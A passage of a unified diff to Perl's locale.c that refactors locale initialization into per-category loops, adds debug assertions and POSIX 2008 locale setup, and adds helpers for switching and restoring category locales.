+    assert(strEQ(category_names[LC_ADDRESS_INDEX], "LC_ADDRESS"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_ADDRESS_INDEX] == LC_ADDRESS_MASK);
+#      endif
+#    endif
+#    ifdef USE_LOCALE_IDENTIFICATION
+    assert(categories[LC_IDENTIFICATION_INDEX] == LC_IDENTIFICATION);
+    assert(strEQ(category_names[LC_IDENTIFICATION_INDEX], "LC_IDENTIFICATION"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_IDENTIFICATION_INDEX] == LC_IDENTIFICATION_MASK);
+#      endif
+#    endif
+#    ifdef USE_LOCALE_MEASUREMENT
+    assert(categories[LC_MEASUREMENT_INDEX] == LC_MEASUREMENT);
+    assert(strEQ(category_names[LC_MEASUREMENT_INDEX], "LC_MEASUREMENT"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_MEASUREMENT_INDEX] == LC_MEASUREMENT_MASK);
+#      endif
+#    endif
+#    ifdef USE_LOCALE_PAPER
+    assert(categories[LC_PAPER_INDEX] == LC_PAPER);
+    assert(strEQ(category_names[LC_PAPER_INDEX], "LC_PAPER"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_PAPER_INDEX] == LC_PAPER_MASK);
+#      endif
+#    endif
+#    ifdef USE_LOCALE_TELEPHONE
+    assert(categories[LC_TELEPHONE_INDEX] == LC_TELEPHONE);
+    assert(strEQ(category_names[LC_TELEPHONE_INDEX], "LC_TELEPHONE"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_TELEPHONE_INDEX] == LC_TELEPHONE_MASK);
+#      endif
+#    endif
+#    ifdef LC_ALL
+    assert(categories[LC_ALL_INDEX] == LC_ALL);
+    assert(strEQ(category_names[LC_ALL_INDEX], "LC_ALL"));
+    assert(NOMINAL_LC_ALL_INDEX == LC_ALL_INDEX);
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_ALL_INDEX] == LC_ALL_MASK);
+#      endif
+#    endif
+#  endif    /* DEBUGGING */
 
+    /* Initialize the cache of the program's UTF-8ness for the always known
+     * locales C and POSIX */
+    my_strlcpy(PL_locale_utf8ness, C_and_POSIX_utf8ness,
+               sizeof(PL_locale_utf8ness));
+
+#  ifdef USE_THREAD_SAFE_LOCALE
+#    ifdef WIN32
+
+    _configthreadlocale(_ENABLE_PER_THREAD_LOCALE);
+
+#    endif
+#  endif
+#  ifdef USE_POSIX_2008_LOCALE
+
+    PL_C_locale_obj = newlocale(LC_ALL_MASK, "C", (locale_t) 0);
+    if (! PL_C_locale_obj) {
+        Perl_croak_nocontext(
+            "panic: Cannot create POSIX 2008 C locale object; errno=%d", errno);
+    }
+    if (DEBUG_Lv_TEST || debug_initialization) {
+        PerlIO_printf(Perl_debug_log, "%s:%d: created C object %p\n", __FILE__, __LINE__, PL_C_locale_obj);
+    }
+
+#  endif
+
+    PL_numeric_radix_sv = newSVpvs(".");
+
+#  if defined(USE_POSIX_2008_LOCALE) && ! defined(HAS_QUERYLOCALE)
+
+    /* Initialize our records.  If we have POSIX 2008, we have LC_ALL */
+    do_setlocale_c(LC_ALL, my_setlocale(LC_ALL, NULL));
+
+#  endif
+#  ifdef LOCALE_ENVIRON_REQUIRED
+
     /*
      * Ultrix setlocale(..., "") fails if there are no environment
      * variables from which to get a locale name.
      */
 
-#   ifdef LC_ALL
-    if (lang) {
-	sl_result = my_setlocale(LC_ALL, setlocale_init);
-        DEBUG_LOCALE_INIT(LC_ALL, setlocale_init, sl_result);
-	if (sl_result)
-	    done = TRUE;
-	else
-	    setlocale_failure = TRUE;
-    }
-    if (! setlocale_failure) {
-#       ifdef USE_LOCALE_CTYPE
-        locale_param = (! done && (lang || PerlEnv_getenv("LC_CTYPE")))
-                       ? setlocale_init
-                       : NULL;
-	curctype = my_setlocale(LC_CTYPE, locale_param);
-        DEBUG_LOCALE_INIT(LC_CTYPE, locale_param, sl_result);
-	if (! curctype)
-	    setlocale_failure = TRUE;
-	else
-	    curctype = savepv(curctype);
-#       endif /* USE_LOCALE_CTYPE */
-#       ifdef USE_LOCALE_COLLATE
-        locale_param = (! done && (lang || PerlEnv_getenv("LC_COLLATE")))
-                       ? setlocale_init
-                       : NULL;
-	curcoll = my_setlocale(LC_COLLATE, locale_param);
-        DEBUG_LOCALE_INIT(LC_COLLATE, locale_param, sl_result);
-	if (! curcoll)
-	    setlocale_failure = TRUE;
-	else
-	    curcoll = savepv(curcoll);
-#       endif /* USE_LOCALE_COLLATE */
-#       ifdef USE_LOCALE_NUMERIC
-        locale_param = (! done && (lang || PerlEnv_getenv("LC_NUMERIC")))
-                       ? setlocale_init
-                       : NULL;
-	curnum = my_setlocale(LC_NUMERIC, locale_param);
-        DEBUG_LOCALE_INIT(LC_NUMERIC, locale_param, sl_result);
-	if (! curnum)
-	    setlocale_failure = TRUE;
-	else
-	    curnum = savepv(curnum);
-#       endif /* USE_LOCALE_NUMERIC */
-#       ifdef USE_LOCALE_MESSAGES
-        locale_param = (! done && (lang || PerlEnv_getenv("LC_MESSAGES")))
-                       ? setlocale_init
-                       : NULL;
-	sl_result = my_setlocale(LC_MESSAGES, locale_param);
-        DEBUG_LOCALE_INIT(LC_MESSAGES, locale_param, sl_result);
-	if (! sl_result) {
-	    setlocale_failure = TRUE;
+#    ifndef LC_ALL
+#      error Ultrix without LC_ALL not implemented
+#    else
+
+    {
+        bool done = FALSE;
+        if (lang) {
+            sl_result[LC_ALL_INDEX] = do_setlocale_c(LC_ALL, setlocale_init);
+            DEBUG_LOCALE_INIT(LC_ALL, setlocale_init, sl_result[LC_ALL_INDEX]);
+            if (sl_result[LC_ALL_INDEX])
+                done = TRUE;
+            else
+                setlocale_failure = TRUE;
         }
-#       endif /* USE_LOCALE_MESSAGES */
-#       ifdef USE_LOCALE_MONETARY
-        locale_param = (! done && (lang || PerlEnv_getenv("LC_MONETARY")))
-                       ? setlocale_init
-                       : NULL;
-	sl_result = my_setlocale(LC_MONETARY, locale_param);
-        DEBUG_LOCALE_INIT(LC_MONETARY, locale_param, sl_result);
-	if (! sl_result) {
-	    setlocale_failure = TRUE;
+        if (! setlocale_failure) {
+            const char * locale_param;
+            for (i = 0; i < LC_ALL_INDEX; i++) {
+                locale_param = (! done && (lang || PerlEnv_getenv(category_names[i])))
+                            ? setlocale_init
+                            : NULL;
+                sl_result[i] = do_setlocale_r(categories[i], locale_param);
+                if (! sl_result[i]) {
+                    setlocale_failure = TRUE;
+                }
+                DEBUG_LOCALE_INIT(categories[i], locale_param, sl_result[i]);
+            }
         }
-#       endif /* USE_LOCALE_MONETARY */
     }
 
-#   endif /* LC_ALL */
+#    endif /* LC_ALL */
+#  endif /* LOCALE_ENVIRON_REQUIRED */
 
-#endif /* !LOCALE_ENVIRON_REQUIRED */
-
     /* We try each locale in the list until we get one that works, or exhaust
      * the list.  Normally the loop is executed just once.  But if setting the
      * locale fails, inside the loop we add fallback trials to the array and so
@@ -1061,6 +3351,7 @@
      * will execute the loop multiple times */
     trial_locales[0] = setlocale_init;
     trial_locales_count = 1;
+
     for (i= 0; i < trial_locales_count; i++) {
         const char * trial_locale = trial_locales[i];
 
@@ -1071,8 +3362,9 @@
              * sense */
             setlocale_failure = FALSE;
 
-#ifdef SYSTEM_DEFAULT_LOCALE
-#  ifdef WIN32
+#  ifdef SYSTEM_DEFAULT_LOCALE
+#    ifdef WIN32    /* Note that assumes Win32 has LC_ALL */
+
             /* On Windows machines, an entry of "" after the 0th means to use
              * the system default locale, which we now proceed to get. */
             if (strEQ(trial_locale, "")) {
@@ -1080,10 +3372,10 @@
 
                 /* Note that this may change the locale, but we are going to do
                  * that anyway just below */
-                system_default_locale = setlocale(LC_ALL, "");
+                system_default_locale = do_setlocale_c(LC_ALL, "");
                 DEBUG_LOCALE_INIT(LC_ALL, "", system_default_locale);
 
-                /* Skip if invalid or it's already on the list of locales to
+                /* Skip if invalid or if it's already on the list of locales to
                  * try */
                 if (! system_default_locale) {
                     goto next_iteration;
@@ -1096,14 +3388,18 @@
 
                 trial_locale = system_default_locale;
             }
-#  endif /* WIN32 */
-#endif /* SYSTEM_DEFAULT_LOCALE */
-        }
+#    else
+#      error SYSTEM_DEFAULT_LOCALE only implemented for Win32
+#    endif
+#  endif /* SYSTEM_DEFAULT_LOCALE */
 
-#ifdef LC_ALL
-        sl_result = my_setlocale(LC_ALL, trial_locale);
-        DEBUG_LOCALE_INIT(LC_ALL, trial_locale, sl_result);
-        if (! sl_result) {
+        }   /* For i > 0 */
+
+#  ifdef LC_ALL
+
+        sl_result[LC_ALL_INDEX] = do_setlocale_c(LC_ALL, trial_locale);
+        DEBUG_LOCALE_INIT(LC_ALL, trial_locale, sl_result[LC_ALL_INDEX]);
+        if (! sl_result[LC_ALL_INDEX]) {
             setlocale_failure = TRUE;
         }
         else {
@@ -1112,56 +3408,27 @@
              * setlocales below just return their category's current values.
              * This adequately handles the case in NetBSD where LC_COLLATE may
              * not be defined for a locale, and setting it individually will
-             * fail, whereas setting LC_ALL suceeds, leaving LC_COLLATE set to
+             * fail, whereas setting LC_ALL succeeds, leaving LC_COLLATE set to
              * the POSIX locale. */
             trial_locale = NULL;
         }
-#endif /* LC_ALL */
 
-        if (!setlocale_failure) {
-#ifdef USE_LOCALE_CTYPE
-            Safefree(curctype);
-            curctype = my_setlocale(LC_CTYPE, trial_locale);
-            DEBUG_LOCALE_INIT(LC_CTYPE, trial_locale, curctype);
-            if (! curctype)
-                setlocale_failure = TRUE;
-            else
-                curctype = savepv(curctype);
-#endif /* USE_LOCALE_CTYPE */
-#ifdef USE_LOCALE_COLLATE
-            Safefree(curcoll);
-            curcoll = my_setlocale(LC_COLLATE, trial_locale);
-            DEBUG_LOCALE_INIT(LC_COLLATE, trial_locale, curcoll);
-            if (! curcoll)
-                setlocale_failure = TRUE;
-            else
-                curcoll = savepv(curcoll);
-#endif /* USE_LOCALE_COLLATE */
-#ifdef USE_LOCALE_NUMERIC
-            Safefree(curnum);
-            curnum = my_setlocale(LC_NUMERIC, trial_locale);
-            DEBUG_LOCALE_INIT(LC_NUMERIC, trial_locale, curnum);
-            if (! curnum)
-                setlocale_failure = TRUE;
-            else
-                curnum = savepv(curnum);
-#endif /* USE_LOCALE_NUMERIC */
-#ifdef USE_LOCALE_MESSAGES
-            sl_result = my_setlocale(LC_MESSAGES, trial_locale);
-            DEBUG_LOCALE_INIT(LC_MESSAGES, trial_locale, sl_result);
-            if (! (sl_result))
-                setlocale_failure = TRUE;
-#endif /* USE_LOCALE_MESSAGES */
-#ifdef USE_LOCALE_MONETARY
-            sl_result = my_setlocale(LC_MONETARY, trial_locale);
-            DEBUG_LOCALE_INIT(LC_MONETARY, trial_locale, sl_result);
-            if (! (sl_result))
-                setlocale_failure = TRUE;
-#endif /* USE_LOCALE_MONETARY */
+#  endif /* LC_ALL */
 
-            if (! setlocale_failure) {  /* Success */
-                break;
+        if (! setlocale_failure) {
+            unsigned int j;
+            for (j = 0; j < NOMINAL_LC_ALL_INDEX; j++) {
+                curlocales[j]
+                        = savepv(do_setlocale_r(categories[j], trial_locale));
+                if (! curlocales[j]) {
+                    setlocale_failure = TRUE;
+                }
+                DEBUG_LOCALE_INIT(categories[j], trial_locale, curlocales[j]);
             }
+
+            if (! setlocale_failure) {  /* All succeeded */
+                break;  /* Exit trial_locales loop */
+            }
         }
 
         /* Here, something failed; will need to try a fallback. */
@@ -1171,41 +3438,39 @@
             unsigned int j;
 
             if (locwarn) { /* Output failure info only on the first one */
-#ifdef LC_ALL
 
+#  ifdef LC_ALL
+
                 PerlIO_printf(Perl_error_log,
                 "perl: warning: Setting locale failed.\n");
 
-#else /* !LC_ALL */
+#  else /* !LC_ALL */
 
                 PerlIO_printf(Perl_error_log,
                 "perl: warning: Setting locale failed for the categories:\n\t");
-#  ifdef USE_LOCALE_CTYPE
-                if (! curctype)
-                    PerlIO_printf(Perl_error_log, "LC_CTYPE ");
-#  endif /* USE_LOCALE_CTYPE */
-#  ifdef USE_LOCALE_COLLATE
-                if (! curcoll)
-                    PerlIO_printf(Perl_error_log, "LC_COLLATE ");
-#  endif /* USE_LOCALE_COLLATE */
-#  ifdef USE_LOCALE_NUMERIC
-                if (! curnum)
-                    PerlIO_printf(Perl_error_log, "LC_NUMERIC ");
-#  endif /* USE_LOCALE_NUMERIC */
-                PerlIO_printf(Perl_error_log, "and possibly others\n");
 
-#endif /* LC_ALL */
+                for (j = 0; j < NOMINAL_LC_ALL_INDEX; j++) {
+                    if (! curlocales[j]) {
+                        PerlIO_printf(Perl_error_log, category_names[j]);
+                    }
+                    else {
+                        Safefree(curlocales[j]);
+                    }
+                }
 
+#  endif /* LC_ALL */
+
                 PerlIO_printf(Perl_error_log,
                     "perl: warning: Please check that your locale settings:\n");
 
-#ifdef __GLIBC__
+#  ifdef __GLIBC__
+
                 PerlIO_printf(Perl_error_log,
                             "\tLANGUAGE = %c%s%c,\n",
                             language ? '"' : '(',
                             language ? language : "unset",
                             language ? '"' : ')');
-#endif
+#  endif
 
                 PerlIO_printf(Perl_error_log,
                             "\tLC_ALL = %c%s%c,\n",
@@ -1213,22 +3478,39 @@
                             lc_all ? lc_all : "unset",
                             lc_all ? '"' : ')');
 
-#if defined(USE_ENVIRON_ARRAY)
+#  if defined(USE_ENVIRON_ARRAY)
+
                 {
-                char **e;
-                for (e = environ; *e; e++) {
-                    if (strEQs(*e, "LC_")
-                            && strNEs(*e, "LC_ALL=")
-                            && (p = strchr(*e, '=')))
-                        PerlIO_printf(Perl_error_log, "\t%.*s = \"%s\",\n",
-                                        (int)(p - *e), *e, p + 1);
+                    char **e;
+
+                    /* Look through the environment for any variables of the
+                     * form qr/ ^ LC_ [A-Z]+ = /x, except LC_ALL which was
+                     * already handled above.  These are assumed to be locale
+                     * settings.  Output them and their values. */
+                    for (e = environ; *e; e++) {
+                        const STRLEN prefix_len = sizeof("LC_") - 1;
+                        STRLEN uppers_len;
+
+                        if (     strBEGINs(*e, "LC_")
+                            && ! strBEGINs(*e, "LC_ALL=")
+                            && (uppers_len = strspn(*e + prefix_len,
+                                             "ABCDEFGHIJKLMNOPQRSTUVWXYZ"))
+                            && ((*e)[prefix_len + uppers_len] == '='))
+                        {
+                            PerlIO_printf(Perl_error_log, "\t%.*s = \"%s\",\n",
+                                (int) (prefix_len + uppers_len), *e,
+                                *e + prefix_len + uppers_len + 1);
+                        }
+                    }
                 }
-                }
-#else
+
+#  else
+
                 PerlIO_printf(Perl_error_log,
                             "\t(possibly more locale environment variables)\n");
-#endif
 
+#  endif
+
                 PerlIO_printf(Perl_error_log,
                             "\tLANG = %c%s%c\n",
                             lang ? '"' : '(',
@@ -1274,7 +3556,8 @@
             }
           done_lang:
 
-#if defined(WIN32) && defined(LC_ALL)
+#  if defined(WIN32) && defined(LC_ALL)
+
             /* For Windows, we also try the system default locale before "C".
              * (If there exists a Windows without LC_ALL we skip this because
              * it gets too complicated.  For those, the "C" is the next
@@ -1282,8 +3565,9 @@
              * the array, but the code at the loop above knows to treat it
              * differently when not the 0th */
             trial_locales[trial_locales_count++] = "";
-#endif
 
+#  endif
+
             for (j = 0; j < trial_locales_count; j++) {
                 if (strEQ("C", trial_locales[j])) {
                     goto done_C;
@@ -1294,10 +3578,12 @@
           done_C: ;
         }   /* end of first time through the loop */
 
-#ifdef WIN32
+#  ifdef WIN32
+
       next_iteration: ;
-#endif
 
+#  endif
+
     }   /* end of looping through the trial locales */
 
     if (ok < 1) {   /* If we tried to fallback */
@@ -1306,6 +3592,7 @@
            msg = "Falling back to";
         }
         else {  /* fallback failed */
+            unsigned int j;
 
             /* We dropped off the end of the loop, so have to decrement i to
              * get back to the value the last time through */
@@ -1315,21 +3602,12 @@
             msg = "Failed to fall back to";
 
             /* To continue, we should use whatever values we've got */
-#ifdef USE_LOCALE_CTYPE
-            Safefree(curctype);
-            curctype = savepv(setlocale(LC_CTYPE, NULL));
-            DEBUG_LOCALE_INIT(LC_CTYPE, NULL, curctype);
-#endif /* USE_LOCALE_CTYPE */
-#ifdef USE_LOCALE_COLLATE
-            Safefree(curcoll);
-            curcoll = savepv(setlocale(LC_COLLATE, NULL));
-            DEBUG_LOCALE_INIT(LC_COLLATE, NULL, curcoll);
-#endif /* USE_LOCALE_COLLATE */
-#ifdef USE_LOCALE_NUMERIC
-            Safefree(curnum);
-            curnum = savepv(setlocale(LC_NUMERIC, NULL));
-            DEBUG_LOCALE_INIT(LC_NUMERIC, NULL, curnum);
-#endif /* USE_LOCALE_NUMERIC */
+
+            for (j = 0; j < NOMINAL_LC_ALL_INDEX; j++) {
+                Safefree(curlocales[j]);
+                curlocales[j] = savepv(do_setlocale_r(categories[j], NULL));
+                DEBUG_LOCALE_INIT(categories[j], NULL, curlocales[j]);
+            }
         }
 
         if (locwarn) {
@@ -1339,7 +3617,9 @@
                 description = "the standard locale";
                 name = "C";
             }
-#ifdef SYSTEM_DEFAULT_LOCALE
+
+#  ifdef SYSTEM_DEFAULT_LOCALE
+
             else if (strEQ(trial_locales[i], "")) {
                 description = "the system default locale";
                 if (system_default_locale) {
@@ -1346,7 +3626,9 @@
                     name = system_default_locale;
                 }
             }
-#endif /* SYSTEM_DEFAULT_LOCALE */
+
+#  endif /* SYSTEM_DEFAULT_LOCALE */
+
             else {
                 description = "a fallback locale";
                 name = trial_locales[i];
@@ -1362,25 +3644,55 @@
         }
     } /* End of tried to fallback */
 
-#ifdef USE_LOCALE_CTYPE
-    new_ctype(curctype);
-#endif /* USE_LOCALE_CTYPE */
+    /* Done with finding the locales; update our records */
 
-#ifdef USE_LOCALE_COLLATE
-    new_collate(curcoll);
-#endif /* USE_LOCALE_COLLATE */
+#  ifdef USE_LOCALE_CTYPE
 
-#ifdef USE_LOCALE_NUMERIC
-    new_numeric(curnum);
-#endif /* USE_LOCALE_NUMERIC */
+    new_ctype(curlocales[LC_CTYPE_INDEX]);
 
-#if defined(USE_PERLIO) && defined(USE_LOCALE_CTYPE)
+#  endif
+#  ifdef USE_LOCALE_COLLATE
+
+    new_collate(curlocales[LC_COLLATE_INDEX]);
+
+#  endif
+#  ifdef USE_LOCALE_NUMERIC
+
+    new_numeric(curlocales[LC_NUMERIC_INDEX]);
+
+#  endif
+
+    for (i = 0; i < NOMINAL_LC_ALL_INDEX; i++) {
+
+#  if defined(USE_ITHREADS) && ! defined(USE_THREAD_SAFE_LOCALE)
+
+        /* This caches whether each category's locale is UTF-8 or not.  This
+         * may involve changing the locale.  It is ok to do this at
+         * initialization time before any threads have started, but not later
+         * unless thread-safe operations are used.
+         * Caching means that if the program heeds our dictate not to change
+         * locales in threaded applications, this data will remain valid, and
+         * it may get queried without having to change locales.  If the
+         * environment is such that all categories have the same locale, this
+         * isn't needed, as the code will not change the locale; but this
+         * handles the uncommon case where the environment has disparate
+         * locales for the categories */
+        (void) _is_cur_LC_category_utf8(categories[i]);
+
+#  endif
+
+        Safefree(curlocales[i]);
+    }
+
+#  if defined(USE_PERLIO) && defined(USE_LOCALE_CTYPE)
+
     /* Set PL_utf8locale to TRUE if using PerlIO _and_ the current LC_CTYPE
-     * locale is UTF-8.  If PL_utf8locale and PL_unicode (set by -C or by
-     * $ENV{PERL_UNICODE}) are true, perl.c:S_parse_body() will turn on the
-     * PerlIO :utf8 layer on STDIN, STDOUT, STDERR, _and_ the default open
-     * discipline.  */
-    PL_utf8locale = _is_cur_LC_category_utf8(LC_CTYPE);
+     * locale is UTF-8.  The call to new_ctype() just above has already
+     * calculated the latter value and saved it in PL_in_utf8_CTYPE_locale. If
+     * both PL_utf8locale and PL_unicode (set by -C or by $ENV{PERL_UNICODE})
+     * are true, perl.c:S_parse_body() will turn on the PerlIO :utf8 layer on
+     * STDIN, STDOUT, STDERR, _and_ the default open discipline.  */
+    PL_utf8locale = PL_in_utf8_CTYPE_locale;
 
     /* Set PL_unicode to $ENV{PERL_UNICODE} if using PerlIO.
        This is an alternative to using the -C command line switch
@@ -1391,32 +3703,23 @@
 	 if (PL_unicode & PERL_UNICODE_UTF8CACHEASSERT_FLAG)
 	     PL_utf8cache = -1;
     }
-#endif
 
-#ifdef USE_LOCALE_CTYPE
-    Safefree(curctype);
-#endif /* USE_LOCALE_CTYPE */
-#ifdef USE_LOCALE_COLLATE
-    Safefree(curcoll);
-#endif /* USE_LOCALE_COLLATE */
-#ifdef USE_LOCALE_NUMERIC
-    Safefree(curnum);
-#endif /* USE_LOCALE_NUMERIC */
+#  endif
+#  ifdef __GLIBC__
 
-#ifdef __GLIBC__
     Safefree(language);
-#endif
 
+#  endif
+
     Safefree(lc_all);
     Safefree(lang);
 
-#else  /* !USE_LOCALE */
-    PERL_UNUSED_ARG(printwarn);
 #endif /* USE_LOCALE */
+#ifdef DEBUGGING
 
-#ifdef DEBUGGING
     /* So won't continue to output stuff */
     DEBUG_INITIALIZATION_set(FALSE);
+
 #endif
 
     return ok;
@@ -1467,11 +3770,11 @@
      * otherwise contain that character, but otherwise there may be
      * less-than-perfect results with that character and NUL.  This is
      * unavoidable unless we replace strxfrm with our own implementation. */
-    if (s_strlen < len) {   /* Only execute if there is an embedded NUL */
+    if (UNLIKELY(s_strlen < len)) {   /* Only execute if there is an embedded
+                                         NUL */
         char * e = s + len;
         char * sans_nuls;
         STRLEN sans_nuls_len;
-        STRLEN sans_nuls_pos;
         int try_non_controls;
         char this_replacement_char[] = "?\0";   /* Room for a two-byte string,
                                                    making sure 2nd byte is NUL.
@@ -1570,7 +3873,7 @@
         } /* End of determining the character that is to replace NULs */
 
         /* If the replacement is variant under UTF-8, it must match the
-         * UTF8-ness as the original */
+         * UTF8-ness of the original */
         if ( ! UVCHR_IS_INVARIANT(PL_strxfrm_NUL_replacement) && utf8) {
             this_replacement_char[0] =
                                 UTF8_EIGHT_BIT_HI(PL_strxfrm_NUL_replacement);
@@ -1590,19 +3893,14 @@
         sans_nuls_len = (len * this_replacement_len) + 1;
         Newx(sans_nuls, sans_nuls_len, char);
         *sans_nuls = '\0';
-        sans_nuls_pos = 0;
 
         /* Replace each NUL with the lowest collating control.  Loop until have
          * exhausted all the NULs */
         while (s + s_strlen < e) {
-            sans_nuls_pos = my_strlcat(sans_nuls + sans_nuls_pos,
-                                       s,
-                                       sans_nuls_len);
+            my_strlcat(sans_nuls, s, sans_nuls_len);
 
             /* Do the actual replacement */
-            sans_nuls_pos = my_strlcat(sans_nuls + sans_nuls_pos,
-                                       this_replacement_char,
-                                       sans_nuls_len);
+            my_strlcat(sans_nuls, this_replacement_char, sans_nuls_len);
 
             /* Move past the input NUL */
             s += s_strlen + 1;
@@ -1610,7 +3908,7 @@
         }
 
         /* And add anything that trails the final NUL */
-        my_strlcat(sans_nuls + sans_nuls_pos, s, sans_nuls_len);
+        my_strlcat(sans_nuls, s, sans_nuls_len);
 
         /* Switch so below we transform this modified string */
         s = sans_nuls;
@@ -1619,6 +3917,7 @@
 
     /* Make sure the UTF8ness of the string and locale match */
     if (utf8 != PL_in_utf8_COLLATE_locale) {
+        /* XXX convert above Unicode to 10FFFF? */
         const char * const t = s;   /* Temporary so we can later find where the
                                        input was */
 
@@ -1822,10 +4121,14 @@
                  * length 1 strings, as we can't be sure that it's a real slope
                  * change */
                 if (length_in_chars > 1 && new_m  > PL_collxfrm_mult) {
-#ifdef DEBUGGING
+
+#  ifdef DEBUGGING
+
                     STRLEN old_m = PL_collxfrm_mult;
                     STRLEN old_b = PL_collxfrm_base;
-#endif
+
+#  endif
+
                     PL_collxfrm_mult = new_m;
                     PL_collxfrm_base = 1;   /* +1 For trailing NUL */
                     computed_guess = PL_collxfrm_base
@@ -1884,7 +4187,8 @@
             xAlloc += (xAlloc / 4) + 1;
             PL_strxfrm_is_behaved = FALSE;
 
-#ifdef DEBUGGING
+#  ifdef DEBUGGING
+
             if (DEBUG_Lv_TEST || debug_initialization) {
                 PerlIO_printf(Perl_debug_log,
                 "_mem_collxfrm required more space than previously calculated"
@@ -1892,7 +4196,9 @@
                 PL_collation_name, (int) COLLXFRM_HDR_LEN,
                 xAlloc - COLLXFRM_HDR_LEN);
             }
-#endif
+
+#  endif
+
         }
 
         Renew(xbuf, xAlloc, char);
@@ -1906,7 +4212,8 @@
     }
 
 
-#ifdef DEBUGGING
+#  ifdef DEBUGGING
+
     if (DEBUG_Lv_TEST || debug_initialization) {
 
         print_collxfrm_input_and_return(s, s + len, xlen, utf8);
@@ -1915,8 +4222,9 @@
                       _byte_dump_string((U8 *) xbuf + COLLXFRM_HDR_LEN,
                        *xlen, 1));
     }
-#endif
 
+#  endif
+
     /* Free up unneeded space; retain ehough for trailing NUL */
     Renew(xbuf, COLLXFRM_HDR_LEN + *xlen + 1, char);
 
@@ -1932,15 +4240,19 @@
         Safefree(s);
     }
     *xlen = 0;
-#ifdef DEBUGGING
+
+#  ifdef DEBUGGING
+
     if (DEBUG_Lv_TEST || debug_initialization) {
         print_collxfrm_input_and_return(s, s + len, NULL, utf8);
     }
-#endif
+
+#  endif
+
     return NULL;
 }
 
-#ifdef DEBUGGING
+#  ifdef DEBUGGING
 
 STATIC void
 S_print_collxfrm_input_and_return(pTHX_
@@ -1949,9 +4261,6 @@
                                   const STRLEN * const xlen,
                                   const bool is_utf8)
 {
-    const char * t = s;
-    bool prev_was_printable = TRUE;
-    bool first_time = TRUE;
 
     PERL_ARGS_ASSERT_PRINT_COLLXFRM_INPUT_AND_RETURN;
 
@@ -1958,7 +4267,7 @@
     PerlIO_printf(Perl_debug_log, "_mem_collxfrm[%" UVuf "]: returning ",
                                                         (UV)PL_collation_ix);
     if (xlen) {
-        PerlIO_printf(Perl_debug_log, "%" UVuf, (UV) *xlen);
+        PerlIO_printf(Perl_debug_log, "%zu", *xlen);
     }
     else {
         PerlIO_printf(Perl_debug_log, "NULL");
@@ -1965,7 +4274,23 @@
     }
     PerlIO_printf(Perl_debug_log, " for locale '%s', string='",
                                                             PL_collation_name);
+    print_bytes_for_locale(s, e, is_utf8);
 
+    PerlIO_printf(Perl_debug_log, "'\n");
+}
+
+STATIC void
+S_print_bytes_for_locale(pTHX_
+                    const char * const s,
+                    const char * const e,
+                    const bool is_utf8)
+{
+    const char * t = s;
+    bool prev_was_printable = TRUE;
+    bool first_time = TRUE;
+
+    PERL_ARGS_ASSERT_PRINT_BYTES_FOR_LOCALE;
+
     while (t < e) {
         UV cp = (is_utf8)
                 ?  utf8_to_uvchr_buf((U8 *) t, e, NULL)
@@ -1987,16 +4312,95 @@
         t += (is_utf8) ? UTF8SKIP(t) : 1;
         first_time = FALSE;
     }
-
-    PerlIO_printf(Perl_debug_log, "'\n");
 }
 
-#endif   /* #ifdef DEBUGGING */
-
+#  endif   /* #ifdef DEBUGGING */
 #endif /* USE_LOCALE_COLLATE */
 
 #ifdef USE_LOCALE
 
+STATIC const char *
+S_switch_category_locale_to_template(pTHX_ const int switch_category, const int template_category, const char * template_locale)
+{
+    /* Changes the locale for LC_'switch_category" to that of
+     * LC_'template_category', if they aren't already the same.  If not NULL,
+     * 'template_locale' is the locale that 'template_category' is in.
+     *
+     * Returns a copy of the name of the original locale for 'switch_category'
+     * so can be switched back to with the companion function
+     * restore_switched_locale(),  (NULL if no restoral is necessary.) */
+
+    char * restore_to_locale = NULL;
+
+    if (switch_category == template_category) { /* No changes needed */
+        return NULL;
+    }
+
+    /* Find the original locale of the category we may need to change, so that
+     * it can be restored to later */
+    restore_to_locale = stdize_locale(savepv(do_setlocale_r(switch_category,
+                                                            NULL)));
+    if (! restore_to_locale) {
+        Perl_croak(aTHX_
+             "panic: %s: %d: Could not find current %s locale, errno=%d\n",
+                __FILE__, __LINE__, category_name(switch_category), errno);
+    }
+
+    /* If the locale of the template category wasn't passed in, find it now */
+    if (template_locale == NULL) {
+        template_locale = do_setlocale_r(template_category, NULL);
+        if (! template_locale) {
+            Perl_croak(aTHX_
+             "panic: %s: %d: Could not find current %s locale, errno=%d\n",
+                   __FILE__, __LINE__, category_name(template_category), errno);
+        }
+    }
+
+    /* It the locales are the same, there's nothing to do */
+    if (strEQ(restore_to_locale, template_locale)) {
+        Safefree(restore_to_locale);
+
+        DEBUG_Lv(PerlIO_printf(Perl_debug_log, "%s locale unchanged as %s\n",
+                            category_name(switch_category), restore_to_locale));
+
+        return NULL;
+    }
+
+    /* Finally, change the locale to the template one */
+    if (! do_setlocale_r(switch_category, template_locale)) {
+        Perl_croak(aTHX_
+         "panic: %s: %d: Could not change %s locale to %s, errno=%d\n",
+                            __FILE__, __LINE__, category_name(switch_category),
+                                                       template_locale, errno);
+    }
+
+    DEBUG_Lv(PerlIO_printf(Perl_debug_log, "%s locale switched to %s\n",
+                            category_name(switch_category), template_locale));
+
+    return restore_to_locale;
+}
+
+STATIC void
+S_restore_switched_locale(pTHX_ const int category, const char * const original_locale)
+{
+    /* Restores the locale for LC_'category' to 'original_locale' (which is a
+     * copy that will be freed by this function), or do nothing if the latter
+     * parameter is NULL */
+
+    if (original_locale == NULL) {
+        return;
+    }
+
+    if (! do_setlocale_r(category, original_locale)) {
+        Perl_croak(aTHX_
+             "panic: %s: %d: setlocale %s restore to %s failed, errno=%d\n",
+                 __FILE__, __LINE__,
+                             category_name(category), original_locale, errno);
+    }
+
+    Safefree(original_locale);
+}
+
 bool
 Perl__is_cur_LC_category_utf8(pTHX_ int category)
 {
@@ -2006,421 +4410,405 @@
      * could give the wrong result.  The result will very likely be correct for
      * languages that have commonly used non-ASCII characters, but for notably
      * English, it comes down to if the locale's name ends in something like
-     * "UTF-8".  It errs on the side of not being a UTF-8 locale. */
+     * "UTF-8".  It errs on the side of not being a UTF-8 locale.
+     *
+     * If the platform is early C89, not containing mbtowc(), or we are
+     * compiled to not pay attention to LC_CTYPE, this employs heuristics.
